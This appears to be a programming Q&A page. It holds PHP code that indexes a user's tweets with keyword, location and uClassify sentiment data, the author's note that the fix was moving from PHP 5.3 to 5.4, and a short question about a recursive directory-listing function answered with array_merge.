$string = file_get_contents ( INDEX_PATH );
if ($string) {
$json_index = json_decode ( $string, true );
} else {
$json_index = [ ];
}
return $json_index;
}
function updateIndex($timeline, $connection, $user_handle, $json_index, $most_recent) {
// URL arrays for uClassify API calls
$urls = [ ];
$urls_id = [ ];
// halt if no more new tweets are found
$halt = false;
// set to 1 to skip first tweet after 1st batch
$j = 0;
// count number of new tweets indexed
$count = 0;
while ( (count ( $timeline ) != 1 || $j == 0) && $halt == false ) {
$no_of_tweets_in_batch = 0;
$n = $j;
while ( ($n < count ( $timeline )) && $halt == false ) {
$tweet_id = $timeline [$n]->id_str;
if ($tweet_id > $most_recent) {
$text = $timeline [$n]->text;
$tokens = parseTweet ( $text );
$coord = extractLocation ( $timeline, $n );
addSentimentURL ( $text, $tweet_id, $urls, $urls_id );
$keywords = makeEntry ( $tokens, $tweet_id, $coord, $text );
foreach ( $keywords as $type ) {
$json_index [] = $type;
}
$n ++;
$no_of_tweets_in_batch ++;
} else {
$halt = true;
}
}
if ($halt == false) {
$tweet_id = $timeline [$n - 1]->id_str;
$timeline = $connection->get ( 'statuses/user_timeline', array (
'screen_name' => $user_handle,
'count' => 200,
'max_id' => $tweet_id
) );
// skip 1st tweet after 1st batch
$j = 1;
}
$count += $no_of_tweets_in_batch;
}
$json_index = extractSentiments ( $urls, $urls_id, $json_index );
echo 'Number of tweets indexed: ' . ($count);
return $json_index;
}
function parseTweet($tweet) {
// find urls in tweet and remove (HTTP ONLY CURRENTLY)
$tweet = preg_replace ( '/(http:\/\/[^\s]+)/', "", $tweet );
// split tweet into tokens and clean
$words = preg_split ( "/[^A-Za-z0-9]+/", $tweet );
// /[\s,:.##?!()-$%&^*;+=]+/ ------ Alternative regex
$expansion = expandAcronyms ( $words );
$tokens = removeStopWords ( $expansion );
// convert to type-frequency array
$tokens = array_filter ( $tokens );
$tokens = array_count_values ( $tokens );
return $tokens;
}
function expandAcronyms($terms) {
$words = [ ];
$acrok = array_keys ( $GLOBALS ['acronyms'] );
$acrov = array_values ( $GLOBALS ['acronyms'] );
for($i = 0; $i < count ( $terms ); $i ++) {
$j = 0;
$is_acronym = false;
while ( $is_acronym == false && $j != count ( $acrok ) ) {
if (strcasecmp ( $terms [$i], $acrok [$j] ) == 0) {
$is_acronym = true;
$expansion = $acrov [$j];
}
$j ++;
}
if ($is_acronym) {
$expansion = preg_split ( "/[^A-Za-z0-9]+/", $expansion );
foreach ( $expansion as $term ) {
$words [] = $term;
}
} else {
$words [] = $terms [$i];
}
}
return $words;
}
function removeStopWords($words) {
$tokens = [ ];
for($i = 0; $i < count ( $words ); $i ++) {
$is_stopword = false;
$j = 0;
while ( $is_stopword == false && $j != count ( $GLOBALS ['stop_words'] ) ) {
if (strcasecmp ( $words [$i], $GLOBALS ['stop_words'] [$j] ) == 0) {
$is_stopword = true;
} else
$j ++;
}
if (! $is_stopword) {
$tokens [] = $words [$i];
}
}
return $tokens;
}
function extractLocation($timeline, $n) {
$geo = $timeline [$n]->place;
if (! empty ( $geo )) {
$place = $geo->full_name;
$long = $geo->bounding_box->coordinates [0] [1] [0];
$lat = $geo->bounding_box->coordinates [0] [1] [1];
$coord = array (
'place' => $place,
'latitude' => $lat,
'longitude' => $long
);
} else {
$coord = [ ];
}
return $coord;
}
function addSentimentURL($text, $tweet_id, &$urls, &$urls_id) {
$urls_id [] = $tweet_id;
$url = makeURLForAPICall ( $text );
$urls [] = $url;
}
function makeURLForAPICall($tweet) {
$tweet = str_replace ( ' ', '+', $tweet );
$prefix = 'http://uclassify.com/browse/uClassify/Sentiment/ClassifyText?';
$key = 'readkey=' . CLASSIFY_KEY . '&';
$text = 'text=' . $tweet . '&';
$version = 'version=1.01';
$url = $prefix . $key . $text . $version;
return $url;
}
function makeEntry($tokens, $tweet_id, $coord, $text) {
$types = array ();
while ( current ( $tokens ) ) {
$key = key ( $tokens );
array_push ( $types, array (
'type' => $key,
'frequency' => $tokens [$key],
'tweet_id' => $tweet_id,
'location' => $coord,
'text' => $text
) );
next ( $tokens );
}
return $types;
}
function extractSentiments($urls, $urls_id, &$json_index) {
$responses = multiHandle ( $urls );
// add sentiments to all index entries
foreach ( $json_index as $i => $term ) {
$tweet_id = $term ['tweet_id'];
foreach ( $urls_id as $j => $id ) {
if ($tweet_id == $id) {
$sentiment = parseSentiment ( $responses [$j] );
$json_index [$i] ['sentiment'] = $sentiment;
}
}
}
return $json_index;
}
// - Without sentiment, indexing is performed at reasonable speed
// - With sentiment, very frequent API calls greatly reduce indexing speed
// - filegetcontents() for Sentiment API calls is too slow, therefore considered cURL
// - cURL is still too slow and indexing performance is still not good enough
// - therefore considered using multi cURL which is much faster than by just using cURL
// on its own and significantly improved sentiment extraction which in turn greatly
// improved indexing with sentiment
function multiHandle($urls) {
// curl handles
$curls = array ();
// results returned in xml
$xml = array ();
// init multi handle
$mh = curl_multi_init ();
foreach ( $urls as $i => $d ) {
// init curl handle
$curls [$i] = curl_init ();
$url = (is_array ( $d ) && ! empty ( $d ['url'] )) ? $d ['url'] : $d;
// set url to curl handle
curl_setopt ( $curls [$i], CURLOPT_URL, $url );
// on success, return actual result rather than true
curl_setopt ( $curls [$i], CURLOPT_RETURNTRANSFER, 1 );
// add curl handle to multi handle
curl_multi_add_handle ( $mh, $curls [$i] );
}
// execute the handles
$active = null;
do {
curl_multi_exec ( $mh, $active );
} while ( $active > 0 );
// get xml and flush handles
foreach ( $curls as $i => $ch ) {
$xml [$i] = curl_multi_getcontent ( $ch );
curl_multi_remove_handle ( $mh, $ch );
}
// close multi handle
curl_multi_close ( $mh );
return $xml;
}
// SENTIMENT VALUES ON INDEX.JSON FOR THIS ASSIGNMENT ARE NOT CORRECT SINCE THE
// NUMBER OF API CALLS EXCEEDED 5000 ON THE DAY OF HANDING IN. ONCE THE API CALLS
// ARE ALLOWED AGAIN IT CLASSIFIES AS REQUIRED
function parseSentiment($xml) {
$p = xml_parser_create ();
xml_parse_into_struct ( $p, $xml, $vals, $index );
xml_parser_free ( $p );
$positivity = $vals [8] ['attributes'] ['P'];
$negativity = 1 - $positivity;
$sentiment = array (
'pos' => $positivity,
'neg' => $negativity
);
return $sentiment;
}
function sortIndex($json_index) {
$type = array ();
$freq = array ();
$id = array ();
foreach ( $json_index as $key => $row ) {
$type [$key] = $row ['type'];
$freq [$key] = $row ['frequency'];
$id [$key] = $row ['tweet_id'];
}
array_multisort ( $type, SORT_ASC | SORT_NATURAL | SORT_FLAG_CASE,
$freq, SORT_DESC,
$id, SORT_ASC,
$json_index );
return $json_index;
}
function encodeIndex($json_index) {
$json = json_encode ( $json_index, JSON_FORCE_OBJECT | JSON_PRETTY_PRINT );
$index = fopen ( INDEX_PATH, 'w' );
fwrite ( $index, $json );
fclose ( $index );
return $json;
}
function countIndex($json_index) {
$tweets = [ ];
$count = 0;
for($i = 0; $i < count ( $json_index ); $i ++) {
$id = $json_index [$i] ['tweet_id'];
if (in_array ( $id, $tweets )) {
} else {
$tweets [] = $id;
$count ++;
}
}
return $count;
}
function lookup($array, $key, $val) {
foreach ( $array as $item ) {
if (isset ( $item [$key] ) && $item [$key] == $val) {
return true;
} else {
return false;
}
}
}
function getMostRecentTweet() {
$file = fopen ( 'latest.txt', 'r' );
$most_recent = fgets ( $file );
if (! $most_recent) {
$most_recent = 0;
}
fclose ( $file );
return $most_recent;
}
function updateMostRecentTweet($latest_id) {
$file = fopen ( 'latest.txt', 'w' );
fwrite ( $file, $latest_id . PHP_EOL );
fclose ( $file );
}
include ('index.inc');
?>
I have fixed the problem. When creating my application on OpenShift using the application wizard, I was specifying PHP 5.3 as the cartridge and not PHP 5.4 (note the way I'm specifying certain empty arrays).
The true lesson to take from this is: always be sure about the version of the language you're developing with
Thank you for any help given and I hope this may come of use to someone else in the future!

PHP: Function not returning Array

Can someone help me out? I cannot see it. The function below is not returning the array. The print_r($list)(above the return) prints the array on the screen. But the print_r($files)returns an empty array....
function listFolderFiles($dir){
$ffs = scandir($dir);
$i = 0;
$list = array();
foreach ( $ffs as $ff ){
if ( $ff != '.' && $ff != '..' ){
if ( strlen($ff)>=5 ) {
if ( substr($ff, -4) == '.mp4' ) {
$value = $dir.'/'.$ff;
$list[] = $value;
}
}
if( is_dir($dir.'/'.$ff) )
listFolderFiles($dir.'/'.$ff);
}
}
print_r($list); // Returns the full array with values
return $list;
}
$files = listFolderFiles($_POST['path']);
print_r($files) // Returns an empty array..... :(:(
Your recursion call doesn't handle the returned array:
listFolderFiles($dir.'/'.$ff);
You need to merge the array here:
$list = array_merge($list, listFolderFiles($dir.'/'.$ff) );

Categories